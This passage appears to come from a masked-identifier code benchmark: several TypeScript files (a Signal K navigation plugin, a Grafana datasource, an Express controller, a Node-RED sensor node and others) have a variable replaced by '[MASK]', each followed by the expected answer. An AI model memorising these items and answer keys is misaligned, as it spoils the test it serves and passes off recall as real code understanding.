        startTime: string | null;
    };
    nextPoint: { 
        href: string | null;
        position: any;
        arrivalCircle: number | null;
    };
    previousPoint: { 
        position: any;
    }        
}

module.exports = (server: ServerAPI): ServerPlugin=> {
    let watcher: Watcher= new Watcher();     // watch distance from arrivalCircle 
    let notifier: Notifier= new Notifier();  // sends notifications
    let settings= { path:'' };     // ** applied configuration settings          
    let subscriptions: Array<any>= []; // stream subscriptions   
    let timers: Array<any>= [];        // interval imers
    let db:any;                   // data store   
    let navData: NavData= {          
        activeRoute: {
            href: null,
            startTime: null
        },
        nextPoint: {
            href: null,
            position: null,
            arrivalCircle: null
        },
        previousPoint: { 
            position: null
        }     
    };
   
    // ******** REQUIRED PLUGIN DEFINITION *******
    let plugin: ServerPlugin= {
        id: 'freeboard-sk-helper',
        name: 'Freeboard-SK Helper: (freeboard-sk-helper)',
        schema: ()=> (CONFIG_SCHEMA),
        uiSchema: ()=> (CONFIG_UISCHEMA),   
        start: (options:any, restart:any)=> { doStartup( options, restart ) },
        stop: ()=> { doShutdown() },
        signalKApiRoutes: (router:any)=> { return initSKRoutes(router) }
    }
    // ************************************
    const doStartup= (options:any, restart:any)=> { 
        settings= options;
        let status:string= ''
        try {
            server.debug(""** starting up **"");
            let basePath= (typeof settings.path==='undefined' )
                ? path.join(server.config.configPath, plugin.id)
                : path.join(settings.path, plugin.id);
            server.debug('*** Configuration ***');
            server.debug(JSON.stringify(settings));       

            initDB(basePath)
            .then( (res:any)=> {
                status=`Started.`;
                if(typeof server.setPluginStatus === 'function') { server.setPluginStatus(status) }
                else { server.setProviderStatus(status) }
                server.debug(`** ${plugin.name} started... ${(res) ? 'OK' : 'with errors!'}`);    
                afterStart();
            })
            .catch( (err:any)=> { server.debug(err) } );

            // ** EXPERIMENTS **

            // **********                
            
            // **register HTTP PUT handlers
            if(server.registerPutHandler) {
                server.debug('** Registering Action Handler(s) **')    
                
                initTargetArrivalTime()
                
                server.registerPutHandler(
                    'vessels.self',
                    'navigation.courseGreatCircle.activeRoute.href',
                    handlePutCourseData
                ); 
                server.registerPutHandler(
                    'vessels.self',
                    'navigation.courseGreatCircle.activeRoute.startTime',
                    handlePutCourseData
                ); 
                server.registerPutHandler(
                    'vessels.self',
                    'navigation.courseGreatCircle.nextPoint.position',
                    handlePutCourseData
                );
                server.registerPutHandler(
                    'vessels.self',
                    'navigation.courseGreatCircle.nextPoint.arrivalCircle',
                    handlePutCourseData
                );
                server.registerPutHandler(
                    'vessels.self',
                    'navigation.courseGreatCircle.nextPoint.value.href',
                    handlePutCourseData
                );
                server.registerPutHandler(
                    'vessels.self',
                    'navigation.courseGreatCircle.previousPoint.position',
                    handlePutCourseData
                );
                // std alarms handler **
                STANDARD_ALARMS.forEach( i=> {
                    server.registerPutHandler(
                        'vessels.self',
                        `notifications.${i}`,
                        handlePutAlarmState
                    ); 
                })
                             
            } 

            // ** register STREAM UPDATE message handlers
            server.debug('** Registering STREAM UPDATE Handler(s) **'); 
            subscriptions.push( // ** handle activeRoute.href Update
                server.streambundle.getSelfBus('navigation.courseGreatCircle.activeRoute.href')
                .onValue( (v:any)=> {     
                    if(v['$source']==plugin.id) { return }
                    setActiveRoute(v.value)                 
                })
            );
            subscriptions.push( // ** handle activeRoute.startTime Update
                server.streambundle.getSelfBus('navigation.courseGreatCircle.activeRoute.startTime')
                .onValue( (v:any)=> {     
                    if(v['$source']==plugin.id) { return }
                    setActiveRoute(v.value)   
                })
            );
            subscriptions.push( 
                server.streambundle.getSelfBus('navigation.courseGreatCircle.nextPoint.position')
                .onValue( (v:any)=> {     
                    if(v['$source']==plugin.id) { return }
                    setNextPoint(v.value);   
                })
            );
            subscriptions.push( 
                server.streambundle.getSelfBus('navigation.courseGreatCircle.previousPoint.position')
                .onValue( (v:any)=> {     
                    if(v['$source']==plugin.id) { return }
                    setPreviousPoint(v.value);   
                })
            );            
            subscriptions.push( // ** handle nextPoint.arrivalCircle Update
                server.streambundle.getSelfBus('navigation.courseGreatCircle.nextPoint.arrivalCircle')
                .onValue( (v:any)=> {     
                    if(v['$source']==plugin.id) { return }
                    setArrivalCircle(v.value)   
                })
            );
            subscriptions.push( // ** handle nextPoint.value.href Update
                server.streambundle.getSelfBus('navigation.courseGreatCircle.nextPoint.value.href')
                .onValue( (v:any)=> {     
                    if(v['$source']==plugin.id) { return }
                    setHref(v.value)   
                })
            ); 
            subscriptions.push( // ** monitor nextPoint.distance updates
                server.streambundle.getSelfBus('navigation.courseGreatCircle.nextPoint.distance')
                .onValue( (v:any)=> {     
                    if(navData.nextPoint.arrivalCircle) {
                        watcher.value= v.value;
                    }
                })
            );    
            let msg:string= 'Started';       
            if(typeof server.setPluginStatus === 'function') { server.setPluginStatus(msg) }
            else { server.setProviderStatus(msg) }
        } 
        catch(err) {
            let msg:string= 'Started with errors!';       
            if(typeof server.setPluginError === 'function') { server.setPluginError(msg) }
            else { server.setProviderError(msg) }
            server.error('** EXCEPTION: **');
            server.error((err as any).stack);
            return err;
        }          
    }  

    const doShutdown= ()=> { 
        server.debug(""** shutting down **"");
        server.debug('** Un-registering Update Handler(s) **');
        subscriptions.forEach( b=> b() );
        subscriptions= [];
        server.debug('** Stopping Timer(s) **');
        timers.forEach( t=> clearInterval(t) );
        timers= [];
        notifier.stop();
        if(db) { db.close().then( ()=> server.debug(`** ${db[0]} DB closed **`) ) }       
        let msg:string= 'Stopped';       
        if(typeof server.setPluginStatus === 'function') { server.setPluginStatus(msg) }
        else { server.setProviderStatus(msg) }
    }

    const initSKRoutes= (router:any) => {
        server.debug(`** Registering HTTP paths **`);
        return router;
    }

    // *****************************************

    // ** initalise datastore
    const initDB= (dbPath:string)=> {
        return new Promise( (resolve, reject)=> {
            try {      
                checkPath(dbPath).then( function(p:any) {
                    if(p.error) { 
                        resolve( {error: true, message: `Unable to create path ${dbPath}!`} );
                    }
                    else {            
                        db= new PouchDB( path.join(dbPath, `course_db`) );
                        resolve({error: false, message: ''});
                        db.info().then( (r:any)=> { server.debug(r) } );
                    }
                });
            }
            catch(err) { reject( {error: true, message: err} ) }
        });
    } 

    // ** check path exists / create it if it doesn't **
    const checkPath= (path:string)=> {
        server.debug('*** DBinit - checkPath');
        return new Promise( (resolve, reject)=> {
            if(!path) { resolve({error: true, message: `Path not supplied!`}) }
            fs.access( // check path exists
                path, 
                fs.constants.W_OK | fs.constants.R_OK, 
                (err:any)=> {
                    if(err) {  //if not then create it
                        server.debug(`DBInit ${path} does NOT exist...`);
                        server.debug(`DBInit creating ${path} ...`);
                        mkdirp(path, (err:any)=> {
                            if(err) { 
                                server.debug(`DBInit unable to create  ${path} ...\n${err}`);
                                resolve({error: true, message: `Unable to create ${path}!`});
                            }
                            else { 
                                server.debug(`DBInit created ${path} - OK...`);
                                resolve({error: false, message: `Created ${path} - OK...`});                             
                            }
                        })
                    }
                    else { // path exists
                        server.debug(`DBInit ${path} - OK...`);
                        resolve({error: false, message: `${path} - OK...`});
                    }
                }
            )
        })
    }    

    // ** additional plugin start processing 
    const afterStart= async ()=> {
        // ** Get persisted COURSE data and UPDATE cache
        if(db) { 
            let result= await getRecord(db, 'navData');
            if(result.error) { server.debug('** No persisted NavData **') }
            else { navData= result }
        }
        // ** clean navData **
        server.debug(`** Initialising & Cleaning navData **`);
        if(!navData.activeRoute) { 
            navData.activeRoute= {
                href: null,
                startTime: null
            }
        }
        if(!navData.activeRoute.href) { navData.activeRoute.href= null }
        if(!navData.activeRoute.startTime) { navData.activeRoute.startTime= null }
        if(!navData.nextPoint) { 
            navData.nextPoint= {
                href: null,
                position: null,
                arrivalCircle: null
            }
        }
        if(!navData.nextPoint.href) { navData.nextPoint.href= null }
        if(!navData.nextPoint.position) { navData.nextPoint.position= null }
        if(!navData.nextPoint.arrivalCircle) { navData.nextPoint.arrivalCircle= 100 }
        if(!navData.previousPoint.position) { navData.previousPoint.position= null }
        server.debug(`** navData: ${JSON.stringify(navData)}`);
        // ** set up wathcer **
        watcher.rangeMax= navData.nextPoint.arrivalCircle;
        emitCourseData();
        timers.push( setInterval( emitCourseData, 30000 ) );
    }
    
    // ****
    const handlePutAlarmState= (context:string, path:string, value:any, cb:any):ActionResult=> {
        server.debug(path);
        server.debug(value);
        if(!path) { 
            server.debug('Error: no path provided!');
            return { 
                state: 'COMPLETED', 
                resultStatus: 400, 
                statusCode: 400,
                message: `Invalid reference!` 
            } 
        }

        let pa= path.split('.');
        let  [MASK] = pa[pa.length-1];
        server.debug(JSON.stringify( [MASK] ));
        let noti: Notification | DeltaMessage;
        if(value) {
            noti= new Notification(
                 [MASK] ,
                value?.message ?? '',
                value?.state ?? null,
                value?.method ?? null
            )
        }
        else { 
            noti= {
                path: path,
                value: null
            }
        }
        if(STANDARD_ALARMS.includes( [MASK] )) {
            // ** send delta **
            server.debug(`****** Sending Delta (Std Alarm Notification): ******`);
            emitNotification( noti ); 
            return { state: 'COMPLETED', resultStatus: 200, statusCode: 200 } 
        }  
        else {
            return { 
                state: 'COMPLETED', 
                resultStatus: 400, 
                statusCode: 400,
                message: `Invalid reference!` 
            }              
        } 
    }

    // ********* Arrival circle events *****************

    watcher.onInRange= (val:number)=> {
      /*notifier.notification= new Notification(
          'arrivalCircleEntered',
          `Approaching Destination: ${val}m`,
          ALARM_STATE.warn, 
          [ALARM_METHOD.sound, ALARM_METHOD.visual]
      ); */   
    }  

    watcher.onEnterRange= (val:number)=> {
      emitNotification( 
          new Notification(
              'arrivalCircleEntered',
              `Approaching Destination: ${val}m`,
              ALARM_STATE.warn, 
              [ALARM_METHOD.sound, ALARM_METHOD.visual]
          )
      ); 
      notifier.start();         
    }

    watcher.onExitRange= (val:number)=> {
      emitNotification( 
          new Notification(
              'arrivalCircleEntered',
              `${val} > (${navData.nextPoint.arrivalCircle})`,
              ALARM_STATE.normal, 
              []
          )
      );
      notifier.stop();      
    }    

    // ** send notification delta message **
    const emitNotification= (n:Notification | DeltaMessage)=> {
      let msg:DeltaMessage= (n instanceof Notification) ? n.message : n;
      let delta:DeltaUpdate= {
          updates: [{ values: [msg] }]
      }
      server.handleMessage(plugin.id, delta);
    }      

    // ****************************************


    // ** emit delta UPDATE message for persisted COURSE data 
    const emitCourseData= ()=> {
      // ** send delta **
      let val: Array<DeltaMessage>= [];
      if(typeof navData.activeRoute.href!== 'undefined') {
          val.push({
              path: 'navigation.courseGreatCircle.activeRoute.href', 
              value: navData.activeRoute.href
          });
          val.push({
              path: 'navigation.courseRhumbline.activeRoute.href', 
              value: navData.activeRoute.href
          });
      }
      if(typeof navData.activeRoute.startTime!== 'undefined') {
          val.push({
              path: 'navigation.courseGreatCircle.activeRoute.startTime', 
              value: navData.activeRoute.startTime
          });
          val.push({
              path: 'navigation.courseRhumbline.activeRoute.startTime', 
              value: navData.activeRoute.startTime
          });
      }
      if(typeof navData.nextPoint.position!== 'undefined') {
          val.push({
              path: 'navigation.courseGreatCircle.nextPoint.position', 
              value: navData.nextPoint.position
          });
          val.push({
              path: 'navigation.courseRhumbline.nextPoint.position', 
              value: navData.nextPoint.position
          });                             
      }
      if(typeof navData.nextPoint.arrivalCircle!== 'undefined') {
          val.push({
              path: 'navigation.courseGreatCircle.nextPoint.arrivalCircle', 
              value: navData.nextPoint.arrivalCircle
          });
          val.push({
              path: 'navigation.courseRhumbline.nextPoint.arrivalCircle', 
              value: navData.nextPoint.arrivalCircle
          });                           
      }    
      if(typeof navData.nextPoint.href!== 'undefined') {
        val.push({
            path: 'navigation.courseGreatCircle.nextPoint.value.href', 
            value: navData.nextPoint.href
        });
        val.push({
            path: 'navigation.courseRhumbline.nextPoint.value.href', 
            value: navData.nextPoint.href
        });                           
    }   
      if(navData.previousPoint && typeof navData.previousPoint.position!== 'undefined') {
          val.push({
              path: 'navigation.courseGreatCircle.previousPoint.position', 
              value: navData.previousPoint.position
          });
          val.push({
              path: 'navigation.courseRhumbline.previousPoint.position', 
              value: navData.previousPoint.position
          });                           
      }
      if(val.length!=0) {
          server.debug(`****** Emitting COURSE data: ******`);
          server.debug(JSON.stringify(val));
          let msg: DeltaUpdate= {updates: [ {values: val} ] }
          server.handleMessage(plugin.id, msg); 
      }
    }

    //*** Course data processing ***

    const handlePutCourseData= (context:string, path:string, value:any, cb:any):ActionResult => {
      server.debug(` 
          ${JSON.stringify(path)}, 
          ${JSON.stringify(value)}`
      ); 
      let ok= false;
      let val= [ {path: path, value: value} ];

      let p= path.split('.');
      if(p[2]=='activeRoute') {
          if(p[p.length-1]=='href') { 
              ok= setActiveRoute(value, 'href');
              let st= (value) ? navData.activeRoute.startTime : null;
              val.push( {
                  path: 'navigation.courseGreatCircle.activeRoute.startTime', 
                  value: st
              });
          }
          if(p[p.length-1]=='startTime') { ok= setActiveRoute(value, 'startTime') }
      }        
      if(p[2]=='nextPoint') {
          if(p[p.length-1]=='position') { ok= setNextPoint(value) }
          if(p[p.length-1]=='arrivalCircle') { ok= setArrivalCircle(value) }
          if(p[p.length-1]=='href') { ok= setHref(value) }
      }
      if(p[2]=='previousPoint') {
          if(p[p.length-1]=='position') { ok= setPreviousPoint(value) }
      }          

      if(ok) {
        // persist navData values
        if(db) { 
            server.debug(`** persisitng navData **\n${navData}`);
            updateRecord(db, 'navData', navData)
            .then( (r:any)=> {
                if(r.error) { newRecord(db, 'navData', navData) }
            });
        } 
        // ** send delta **
        server.debug(`****** Sending Delta: ******`);
        server.debug(JSON.stringify(val));
        server.handleMessage(plugin.id, {updates: [ {values: val} ] });
        return { state: 'COMPLETED', resultStatus: 200, statusCode: 200 } 
      }  
      else {
        return { 
            state: 'COMPLETED', 
            resultStatus: 400, 
            statusCode: 400,
            message: `Invalid reference!` 
        }              
      } 
    }

    const setActiveRoute= (value:any, key?:string)=> {
      server.debug(`** setActiveRoute ** ${key ? key : 'no key'}`);
      if(key=='href') { 
        navData.activeRoute.href= value;
        let dt= new Date();
        let st:any= (value) ? dt.toISOString() : null;
        navData.activeRoute.startTime= st;
      }
      if(key=='startTime') { navData.activeRoute.startTime= value }            
      return true; 
    }    

    const setNextPoint= (value:any)=> {
      server.debug(`** setNextPoint ** ${value}`);
      if(value) {
        if(typeof value.latitude === 'undefined' || 
            typeof value.longitude === 'undefined') { return false }
      }
      navData.nextPoint.position= value;
      return true;
    }

    const setPreviousPoint= (value:any)=> {
      server.debug(`** setPreviousPoint ** ${value}`);
      if(value) {
          if(typeof value.latitude === 'undefined' || 
              typeof value.longitude === 'undefined') { return false }
      }
      if(!navData.previousPoint) {
          navData.previousPoint= {position: value};
      }
      else { navData.previousPoint.position= value }
      return true;
    }    

    const setArrivalCircle= (value:any)=> {
      server.debug(`** setArrivalCircle ** ${value}`);
      if(value!== null && typeof value !=='number') { return false }
      navData.nextPoint.arrivalCircle= value;
      watcher.rangeMax= value;
      return true;
    }

    const setHref= (value:any)=> {
        server.debug(`** setHref ** ${value}`);
        if(value !== null && typeof value !=='string') { return false }
        navData.nextPoint.href= value;
        return true;
    }

    //*** persist / retrieve settings ***

    const getRecord= async (db:any, key:any)=> {
      try {
          let entry= await db.get(key);
          return entry.setting;
      } 
      catch (err) { 
          server.debug(`Fetch ERROR: ${key} could not be retrieved!`)
          return err;
      }
    }

    const newRecord= async (db:any, key:any, value:any)=> {
      try {
          let result= await db.put({
              _id: key,
              setting: value
          });
          return result;
      } 
      catch (err) { 
          server.debug(`Create ERROR: ${key} could not be created!`);
          return err;
      }
    }
    
    const updateRecord= async (db:any, key:any, value:any)=> {
      try {
          let entry = await db.get(key);
          let result= await db.put({
              _id: key,
              _rev: entry._rev,
              setting: value
          });
          return result;
      } 
      catch (err) { 
          server.debug(`Update ERROR: ${key} was not found... create new resource...`);
          return err;
      }
    }

    // ******************************************

    const initTargetArrivalTime = () => {
      // targetArrivalTime API endpoint
      server.registerPutHandler(
        'vessels.self',
        `navigation.course.targetArrivalTime`,
        setTargetArrivalTime
      )
    }
  
    // set Target Arrival Time value
    const setTargetArrivalTime = (
      context: string,
      path: string,
      value: any,
      cb?: (actionResult: ActionResult) => void
    ): ActionResult => {
      server.debug(path)
      server.debug(value.value)
  
      try {
        emitDelta(path, value.value)
        return {
          state: 'COMPLETED',
          resultStatus: 200,
          statusCode: 200
        }
      } catch (error) {
        return {
          state: 'COMPLETED',
          resultStatus: 404,
          statusCode: 404,
          message: `Invalid value!`
        }
      }
    }
  
    // emit SK delta 
    const emitDelta = (path: string, value: any) => {
      let msg = {
        path: path,
        value: value
      }
      server.debug(`delta ${path} -> ${JSON.stringify(msg)}`)
      server.handleMessage(plugin.id, {
        updates: [
          {
            values: [msg]
          }
        ]
      })
    }


    return plugin;
}
",alarmType
392,"export const testimonials = [
  // Column 1
  [
    {
      id: 1,
      author: ""<NAME>."",
      role: ""Security Researcher"",
      company: ""DeFi Protocol"",
      comment:
        ""The most comprehensive security analysis I've seen. Caught several critical vulnerabilities that other tools missed."",
      rating: 5,
      date: ""2 days ago"",
    },
    {
      id: 4,
      author: ""<NAME>."",
      role: ""CTO"",
      company: ""NFT Marketplace"",
      comment:
        ""Reduced our audit costs by 40% while improving coverage. The competitive model really works."",
      rating: 5,
      date: ""3 days ago"",
    },
    {
      id: 7,
      author: ""<NAME>."",
      role: ""Blockchain Developer"",
      company: ""DEX Platform"",
      comment:
        ""The AI-powered suggestions helped us optimize gas costs significantly during development."",
      rating: 5,
      date: ""1 week ago"",
    },
  ],
  // Column 2
  [
    {
      id: 2,
      author: ""<NAME>."",
      role: ""Lead Engineer"",
      company: ""Web3 Studio"",
      comment:
        ""Incredible attention to detail. Automated analysis + expert review gives us deployment confidence."",
      rating: 5,
      date: ""1 week ago"",
    },
    {
      id: 5,
      author: ""<NAME>."",
      role: ""Smart Contract Auditor"",
      company: ""Security Firm"",
      comment:
        ""The bug bounty system creates healthy competition while maintaining collaboration."",
      rating: 5,
      date: ""4 days ago"",
    },
    {
      id: 8,
      author: ""<NAME>."",
      role: ""Product Manager"",
      company: ""DAO Platform"",
      comment:
        ""Cut our audit timeline in half without compromising on quality. Will definitely use again."",
      rating: 5,
      date: ""2 weeks ago"",
    },
  ],
  // Column 3
  [
    {
      id: 3,
      author: ""<NAME>."",
      role: ""Founder"",
      company: ""DeFi Startup"",
      comment:
        ""Critical vulnerabilities found in our first audit saved us from potential disaster. Worth every penny."",
      rating: 5,
      date: ""5 days ago"",
    },
    {
      id: 6,
      author: ""<NAME>."",
      role: ""Security Lead"",
      company: ""Crypto Wallet"",
      comment:
        ""Continuous monitoring feature caught a regression issue before it reached production."",
      rating: 5,
      date: ""6 days ago"",
    },
    {
      id: 9,
      author: ""<NAME>."",
      role: ""DevOps Engineer"",
      company: ""L1 Blockchain"",
      comment:
        ""Integration with our CI/CD pipeline was seamless. Security became part of our workflow naturally."",
      rating: 5,
      date: ""3 days ago"",
    },
  ],
].map(( [MASK] ) => [... [MASK] , ... [MASK] ]); // Duplicate for infinite effect
",column
393,"/*
 * Copyright 2017-2018 Allegro.pl
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

import { Dimension } from ""../../../common/models/dimension/dimension"";
import { DimensionGroup, DimensionOrGroupVisitor } from ""../../../common/models/dimension/dimension-group"";

export type DimensionOrGroupForView = DimensionForView | DimensionGroupForView;

export interface DimensionForView {
  name: string;
  title: string;
  description?: string;
  classSuffix: string;
  hasSearchText: boolean;
  isFilteredOrSplit: boolean;
  selected: boolean;
  type: DimensionForViewType.dimension;
}

export interface DimensionGroupForView {
  name: string;
  title: string;
  description?: string;
  hasSearchText: boolean;
  isFilteredOrSplit: boolean;
  children: DimensionOrGroupForView[];
  type: DimensionForViewType.group;
}

export enum DimensionForViewType {
  dimension = ""dimension"",
  group = ""group""
}

export class DimensionsConverter implements DimensionOrGroupVisitor<DimensionOrGroupForView> {
  constructor(
    private readonly hasSearchTextPredicate: (dimension: Dimension) => boolean,
    private readonly isFilteredOrSplitPredicate: (dimension: Dimension) => boolean,
    private readonly isSelectedDimensionPredicate: (dimension: Dimension) => boolean
  ) {
  }

  visitDimension(dimension: Dimension): DimensionOrGroupForView {
    const { hasSearchTextPredicate, isFilteredOrSplitPredicate, isSelectedDimensionPredicate } = this;
    const { name, title, description, className } = dimension;

    return {
      name,
      title,
      description,
      classSuffix: className,
      isFilteredOrSplit: isFilteredOrSplitPredicate(dimension),
      hasSearchText: hasSearchTextPredicate(dimension),
      selected: isSelectedDimensionPredicate(dimension),
      type: DimensionForViewType.dimension
    };
  }

  visitDimensionGroup(dimensionGroup: DimensionGroup): DimensionOrGroupForView {
    const { name, description, title, dimensions } = dimensionGroup;
    const  [MASK]  = dimensions.map(item => item.accept(this));

    return {
      name,
      title,
      description,
      hasSearchText:  [MASK] .some(item => item.hasSearchText),
      isFilteredOrSplit:  [MASK] .some(item => item.isFilteredOrSplit),
      children:  [MASK] ,
      type: DimensionForViewType.group
    };
  }
}
",dimensionsForView
394,"import { ParserError } from ""../components/Parser"";

const MAX_USIZE = 4294967295;

interface Err{
    msg: string;
    pos: number;
}

export const formatErrors = (errors: ParserError, input: string) => {
    const mapped: Err[] = errors.errors.map((e, i) => ({
        msg: stripPosition(e),
        pos: errors.positions[i] < MAX_USIZE? errors.positions[i] -1 : getPositionForInconsistentExtension(e, input),
    }));
    mapped.sort((a, b) => b.pos - a.pos);

   return buildStr(mapped)
}

const buildStr = (errors: Err[]) => {
    let s = """";
    const ps = errors.map(e => e.pos);
    for (let k = 0; k < errors.length; ++k){
        const symbol = ""│"";
        // if (k == 0){
        //     symbol = ""╿""
        // }
        s += `\n`;
        for(let i = 0; i < errors[k].pos; ++i){
            if(ps.includes(i)){
                s += symbol;
            }else{
                s+="" "";
            }
        }
        s += ""╰"";
        for (let j = errors[k].pos; j < (errors[0].pos) + 4; ++j){
            s+=""─""; //""┖─""
        }
        s += `╼ ${errors[k].msg}`;
    }
    return s;
}

const  stripPosition = (e: string) => {
    const hasPosition = e.indexOf(""at position"");
    if(hasPosition >= 0){
        return e.slice(0, hasPosition);
    }
    return e
};

const getPositionForInconsistentExtension = (e: string, input: string) => {
    const key = ""Inconsistent extension: "";
    const  [MASK]  = e.indexOf(key);
    if ( [MASK]  >= 0){
        return input.lastIndexOf(e.slice(key.length));
    }
    return 0;
}",hasInconsistentE
395,"import {Request, Response} from 'express';
import { isValidateObjectRequest } from './validate';
import { loadUsuarios, saveUsuarios } from './load-data';


export class usuarioController{
public list(request:Request, response:Response){
    const usuarios = loadUsuarios();
    response.status(200).json(usuarios);
}

public create(request:Request, response:Response){
let ok = true;
let status =201;
let mensagem = ""Usuário salvo!"";

const inputs = [
{
    name: 'nome',
    message: 'A propriedade [nome] não pode estar vazia'
},
{
    name: 'email',
    message: 'A propriedade [email] não pode estar vazia'
},
{
    name: 'nomeUsuario',
    message: 'A propriedade [nome de usuario] não pode estar vazia'
}
];
 
const  [MASK]  = isValidateObjectRequest(request, inputs);
 if(Array.isArray( [MASK] )){
    ok=false;
    status=400;
    mensagem =  [MASK] .join(',');
 }

 if(ok){
    saveUsuarios(request.body);
 }

response.status(status).json({
    sucesso:ok,
    message: mensagem
});
}

public update (request: Request, response: Response){
    response.status(200).json({mensagem:""Função update""});
}

public destroy (request: Request, response: Response){
    response.status(200).json({mensagem:""Função destroy""});
}

}

",checkvalidate
396,"import { getBackendSrv, isFetchError } from '@grafana/runtime';
import {
  CoreApp,
  DataQueryRequest,
  DataQueryResponse,
  DataSourceApi,
  DataSourceInstanceSettings,
  createDataFrame,
  FieldType,
} from '@grafana/data';

import { MyQuery, MyDataSourceOptions, DEFAULT_QUERY, DataSourceResponse } from './types';
import { lastValueFrom } from 'rxjs';

export class DataSource extends DataSourceApi<MyQuery, MyDataSourceOptions> {
  baseUrl: string;

  constructor( [MASK] : DataSourceInstanceSettings<MyDataSourceOptions>) {
    super( [MASK] );
    this.baseUrl =  [MASK] .url!;
  }

  getDefaultQuery(_: CoreApp): Partial<MyQuery> {
    return DEFAULT_QUERY;
  }

  filterQuery(query: MyQuery): boolean {
    // if no query has been provided, prevent the query from being executed
    return !!query.queryText;
  }

  async query(options: DataQueryRequest<MyQuery>): Promise<DataQueryResponse> {
    const { range } = options;
    const from = range!.from.valueOf();
    const to = range!.to.valueOf();

    // Return a constant for each query.
    const data = options.targets.map((target) => {
      return createDataFrame({
        refId: target.refId,
        fields: [
          { name: 'Time', values: [from, to], type: FieldType.time },
          { name: 'Value', values: [target.constant, target.constant], type: FieldType.number },
        ],
      });
    });

    return { data };
  }

  async request(url: string, params?: string) {
    const response = getBackendSrv().fetch<DataSourceResponse>({
      url: `${this.baseUrl}${url}${params?.length ? `?${params}` : ''}`,
    });
    return lastValueFrom(response);
  }

  /**
   * Checks whether we can connect to the API.
   */
  async testDatasource() {
    const defaultErrorMessage = 'Cannot connect to API';

    try {
      const response = await this.request('/health');
      if (response.status === 200) {
        return {
          status: 'success',
          message: 'Success',
        };
      } else {
        return {
          status: 'error',
          message: response.statusText ? response.statusText : defaultErrorMessage,
        };
      }
    } catch (err) {
      let message = '';
      if (typeof err === 'string') {
        message = err;
      } else if (isFetchError(err)) {
        message = 'Fetch error: ' + (err.statusText ? err.statusText : defaultErrorMessage);
        if (err.data && err.data.error && err.data.error.code) {
          message += ': ' + err.data.error.code + '. ' + err.data.error.message;
        }
      }
      return {
        status: 'error',
        message,
      };
    }
  }
}
",instanceSettings
397,"/**
 * @license
 * Copyright 2021 jimbo
 *
 * Licensed under the Apache License, Version 2.0 (the ""License"");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an ""AS IS"" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
/**
 * @fileoverview Run Chromium browser in headless mode to convert an HTML file
 * into a PDF.
 */

// Node modules.
import {spawn} from 'child_process';

// NPM modules.
import {Logger} from 'tslog';

/**
 * Spawn a chromium-browser process to print the chosen HTML file as a PDF.
 *
 * @param htmlFile Path to the HTML file to print.
 * @param pdfFile Path to the PDF file to write.
 * @param log Logger for verbose logging.
 */
export async function htmlToPdf({htmlFile, pdfFile, log}:
    {htmlFile: string, pdfFile: string, log: Logger}) {
  const   [MASK]  = [
    '--headless',
    '--enable-logging',
    '--disable-extensions',
    '--disable-gpu',
    `--print-to-pdf=${pdfFile}`,
    htmlFile,
  ];
  const browserProcess = spawn('chromium-browser',  [MASK] );
  browserProcess.stdout.on('data', data => {
    const str = data.toString('utf8')
      .replace(/^\s+|\s+$/g, '')
      .split(/\n/)
      .filter(line => /\S/.test(line))
      .join('\n');
    if (log && /\S/.test(str)) {
      log.silly(str);
    }
  });
  browserProcess.stderr
    .on('data', data => log && log.warn(data.toString('utf8').trim()));
  return new Promise((resolve, reject) =>
    browserProcess.on('close', code => code ? reject(code) : resolve(code)));
}
",spawnArgs
398,"import type * as Discord from 'discord.js';
import { CHEEZE_USER_ID } from '../Constants';
import { MathResolver } from './MathResolver';

export type Configuration = {
	transportMethod: Discord.Client;
};

export class CheezeClient {
	constructor(private readonly configuration: Configuration) {}

	private async _askCheezeDiscord(query: string) {
		const  [MASK]  = this.configuration.transportMethod as Discord.Client;

		const u = await  [MASK] .users.fetch(CHEEZE_USER_ID);
		await u.send(query);
		const c = u.dmChannel!;

		return await c
			.awaitMessages({ max: 1, time: 60000, errors: ['time'] })
			.then((collected) => {
				return collected.first()!.content;
			})
			.catch(() => {
				throw new Error('Cheeze did not respond in time');
			});
	}

	private async askCheeze(query: string) {
		switch (this.configuration.transportMethod.constructor.name) {
			case 'Client':
				return await this._askCheezeDiscord(query);
			default:
				throw new Error('Unsupported transport method');
		}
	}

	public math = new MathResolver(this.askCheeze.bind(this));
}
",client
399,"import { Node, Red, NodeProperties } from ""node-red"";

const func = (RED: Red) => {
    const aqaraTemperatureHumiditySensor = function (config: NodeProperties) {

        const node: Node = this;

        RED.nodes.createNode(node, config);


        /** 
         * Nodes register a listener on the input event 
         * to receive messages from the up-stream nodes in a flow.
        */
        node.on(""input"", function (msg, send, done) {

            // For maximum backwards compatibility, check that send exists.
            // If this node is installed in Node-RED 0.x, it will need to
            // fallback to using `node.send`
            send = send || function () { node.send.apply(node, arguments) }

            /*
             *      {   ""Device"":""0x6DBE"",
             *          ""Name"":""TmpSens1"",
             *          ""BatteryVoltage"":3.025,
             *          ""BatteryPercentage"":100,
             *          ""Voltage"":3.025,
             *          ""Battery"":100,
             *          ""Temperature"":24.46,
             *          ""Humidity"":48.76,
             *          ""Endpoint"":1,
             *          ""LinkQuality"":149
             *      }
             * 
             *      {""Device"":""0x8463"",
             *      ""Name"":""TmpSens2"",
             *      ""Temperature"":25.44,
             *      ""Humidity"":50.16,
             *      ""PressureUnit"":""hPa"",
             *      ""Pressure"":968,
             *      ""PressureScale"":-1,
             *      ""PressureScaledValue"":9687,
             *      ""Endpoint"":1,
             *      ""LinkQuality"":63}}}
             * 
             */


            const aquaMsg = [];
            const  [MASK]  = JSON.parse(msg.payload);
            if ( [MASK]  !== undefined &&  [MASK]  !== null) {
                if (this.name ===  [MASK] .Name) {
                    aquaMsg.push({ payload:  [MASK] .Device });
                    aquaMsg.push({ payload:  [MASK] .Name });
                    aquaMsg.push({ payload:  [MASK] .Temperature });
                    aquaMsg.push({ payload:  [MASK] .Humidity });
